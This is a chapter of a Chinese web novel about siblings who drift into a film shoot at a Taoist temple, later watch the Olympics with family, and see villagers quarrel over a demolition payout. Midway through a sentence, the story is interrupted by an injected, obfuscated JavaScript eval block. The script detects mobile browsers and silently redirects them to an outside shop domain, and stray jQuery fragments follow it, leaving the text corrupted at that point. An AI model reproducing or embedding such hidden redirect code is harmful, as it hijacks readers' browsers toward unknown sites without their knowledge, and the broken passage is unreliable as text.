光天化日之下,一个大胡子堵在四个未成年人前面。
年龄最大的林延年将三个弟弟妹妹护在身后,警惕地看着满脸笑容的大胡子。
按递来的工作证上看,他是道观拍摄的这个剧组里的副导演。
有几个发现不对劲的香客围了上来将几个孩子挡住,尽管这几个孩子长得比她们都高了。
剪着一头利落短发的婆婆拿带来的篮子隔开大胡子和她们之间的距离,问道:“你这是做什么,咋还不让人孩子下山呢?”
大胡子立马低声道:“阿姨,我不是骗子,我们剧组是来观里取景拍戏的,这不看孩子们长得好想让她们来客串客串。”
他赔着笑脸,将自己的工作证拿给几位香客看,接着说:“我们严导拍的剧你们应该在电视剧看过,你们看,这是开机合照我就在上边,这会来观里就是为了拍这部剧姊妹篇的。”
大胡子没敢说,其实是剧组资金短缺,导演让他想办法搞点赞助回来,他烦心着呢转头看见要下山的这四孩子。
要不是他圈里混久眼力劲给练出来了,也看不出这几个孩子全身穿着看似低调实则贵的要命。
上一个剧组时他就安排过投资商对演戏感兴趣的小孩客串过,这才想着上来看看能不能用几个客串名额换点资金回来。
一个阿姨上下打量了大胡子一番,扭头看向祝芙她们:“孩子,你们怎么想?要是想去阿姨们陪你们走一遭。”
祝芙乖巧回话:“谢谢阿姨们,我们已经喊大人上山了,再一会她就到这。”
谢女士给几个小孩配的司机是精挑细选过的,名叫袁含,三十来岁。
之前在港岛工作,专门保护那些千金小姐,后来得罪了某任雇主家千金的未婚夫——听从雇主命令把当众出轨让她们家没脸的未婚夫打了一顿,在港岛混不下去了才回内地。
开车只是她会的技能其中之一,她更擅长的是在护住雇主家小孩的情况下将危险人物制服。
之前祝芙以为求完符很快就能下山,没让袁姐跟着一起上来,结果下山路上遇上个大胡子说想让她们去客串角色。
祝芙可不信什么看中她们形象好之类的鬼话,现在又不是以后,圈里大把美人挤破头想要一个上镜机会,这位副导演一开口就是给四个客串角色,也就骗骗不太熟悉娱乐圈的过路人了。
但大胡子说的那位严导,祝芙还真听过这名。
之前到公司逗钱妙小朋友的时候,公司另外两位投资人钱燕女士和蔡风灵女士讨论着公司艺人的进组情况,让祝芙听到了严佳严导演的名字。
说是这位导演的新剧组太难进了,公司的艺人全去面了一遍,只一个被留在剧组出演配角。
祝芙上辈子从没关注过导演名字,能记得之前来改编钱燕故事的导演和编剧还是因为这两人够出名拿得奖多,营销号经常发她们。
既然这位副导演都邀请了,那她们去剧组里逛逛也正常,谁没点好奇心呢。
等袁含上山站到祝芙她们身旁后,有两个阿姨看着人高马大的袁含还是不太放心,跟着她们一起到了被剧组围起来的地方里。
严佳没想到脱离中星影视出来自立门户后遇到的第一个难题就是资金方面的。
喊了声“咔”,严佳烦躁地看向镜头中间投资方塞进剧组闹着戏服太热他要脱掉的蠢货。
因为这个蠢货,剧组进度拖了将近一个月,每场戏都要三个老师围着他一个表情一个表情教,人还不愿意听。
严佳好几次找上投资方问能不能把这人换掉,本来投资方那边都有点动摇了,他一个电话过去,严佳得到的通知还是换人就撤资。
刚才气得发狠了喊副导演出去找新投资,严佳是真想把这货赶出剧组的,哪怕有关他的戏份全部重新录制都可以。
一看到剧组中间那个宛若巨婴一般闹着要吹空调的男演员后,祝芙就想起了严佳是谁。
不是那个离开老东家后自立门户结果第一部片就遇上了关系户的倒霉蛋嘛!
能力强经验足,结果遇上一个怎么教都教不会的人,卫视看在严佳的面子上买下播出后糊得快查无此台了。
严佳因为这件事沉寂了好几年才拿着自己拿了国外奖项的电影新作杀回娱乐圈。
所以这大胡子是看她们穿得好想用客串角色换点投资?
祝芙猜得没错,之间大胡子和坐在箱子上的严导说了点什么,两人一起朝她们走来。
投倒是能投点,不过最好的其实是喊家里娱乐公司来投钱随便塞进公司艺人进组。
她们几人对演戏没什么兴趣,除了谢向阳。
倒也不是说谢向阳想去当演员了,他是对导演这个行业起了点心思。
想体验一番的谢向阳同意客串,要求不高,别是负面角色和戏份太长的就行,过几天他还要窝家里看奥运呢。
他获得了一个主角下山前师弟的角色,全程就三场戏。
第一场和主角一起做早课;第二场和主角在食堂吃饭;第三场送主角下山。
谢向阳额头点上了一个红点,换上了一身仙风道骨的电视剧版本的道服。
看起来有点像某个明年才公测的武侠游戏里其中一个门派的cos。
很好看就是了。
关系户主角被退了回去,投资方那边有点事生气但没撤资,给这个男演员又找了个剧组塞进去当主演。
新主演是祝芙她们家公司的艺人,起码演技这方面是过关的。
严佳有点可惜地看了眼站在一旁的林延年,要她这个导演来说,这位是最符合她心中主角形象的。
还有祝芙,也和剧中一名角色十分适配。
很明显,她的编剧也是这么想的。
“导演,真的不能再劝劝吗?”
编剧有点不死心,哪个创作者看到仿佛自己笔下人物活过来了一般的真人大抵都是这幅模样。
严佳无奈道:“人不差钱不想进圈的,我还能劝什么。”
“穿上戏服拍张照片也好啊!”
编剧也是跟着严佳多年的老搭档了,这个看到符合自己笔下角色的人后发痴的模样一直没变。
像是严佳的成名作,就是和编剧出去吃饭时看到人老板后,一起上门恳请了好几回才让人同意出演。
不管过去多少年,提起古风美人,这位老板当时饰演的角色依旧会出现在提名中。
只是穿上好看的戏服拍
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17757951|207737||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
个照,拍出的照片导演和编剧要留一份,那祝芙肯定是心动了的。
这不就是高级版的艺术照嘛。
换上繁琐却好看的戏服,编剧亲身上阵,喊几个工作人员扛上待会要用到的拍摄道具,带着祝芙几人到处找景,给她们拍出了几组大片。
其中一张,祝芙撑伞抬头回眸的照片,是编剧让工作人员帮一把后爬到树上拍成的。
拍完第一场戏份的谢向阳也跑来和她们一起拍照,编剧还在树上没下来,又给拍出了张群像照。
抱着不出图就白辛苦一遭的信念,编剧拍出的每张图都是放到网上会被人以为是哪部新电影宣传剧照的程度。
感觉这位姐姐转行去拍写真也是一把好手。
谢向阳的拍摄赶在奥运会开始前结束。
一家人围坐在一块,沙发上位置不够没关系,家里铺着厚实的地毯,孙辈的直接坐在了上面。
作为许多高奢品牌vic的谢女士其实有收到现场观赛的买票,但她还是更想和家人们一起,就把票送给了想要去现场的朋友。
大街小巷电视里放着的都是奥运会,孩子扎堆的地方总能出现炫耀家里给买了全套福娃的小孩。
为了庆祝本次奥运会圆满收官,市里烟花自天黑起开始在夜幕中绽放。
站在三楼落地窗对着天空中烟花看去时,祝芙想到。
终于到了华国快速腾飞的时候。
初三开学后不久,连期中考时间都还没到,祝芙家迎来了第二次拆迁。
知道那些选择划地自建的村民们户口又一次被冻结后,村里选择要安置房的破防了。
他们之前觉得城里房子比村里值钱多了,压根看不上划地自建,结果现在告诉他们因为自己的嫌弃错失了第二次拆迁机会。
完全接受不了的村民……哦,现在户口都变成城里人的他们每家派出一人,气势汹汹地往新村村长家自建房走去。
刚到那,开始坐地上鬼哭狼嚎,非要村长同意把全村的拆迁款分一部分给他们。
“村里那么多人,每家给我们分十万不就给我们凑够了,村长!你可不能这么狠心自己拆迁不管我们啊!”
村长想拿给自家菜地浇肥的粪瓢扣在这群人脑子上。
这叫什么话,新村七十来户人家,一人就分到七百多万,他们当年第一次拆迁的时候都没拿到过这么多钱吧?
还每家给他们分十万,他们怎么不去警局哭说银行不给他们钱,跑来为难他这个村长。
村长到底是安逸生活过多了,忘记了几年前每天都要到村里处理些东家长西家短的破事,骂人的功夫都减弱了不少。
“你你你……”了半天,给自己脸都气红了话也没说出几句。
一旁看热闹的村民不干了,冲进村长家里拿起粪瓢就是对着这群人猛攻。
“呸!一群烂心肝的玩意!当年我们选自建的时候你们可没少说我们乡下人当习惯了脑子坏掉不懂得进城,现在要拆了来嚎!”
拿着粪瓢给一群大老爷们打的连连后退的婶子眼睛里都要喷出火了,她见过不要脸的没见过这么不要脸的,早知道今早她家俩老人的秽物就不该倒,留着这会泼这群人身上。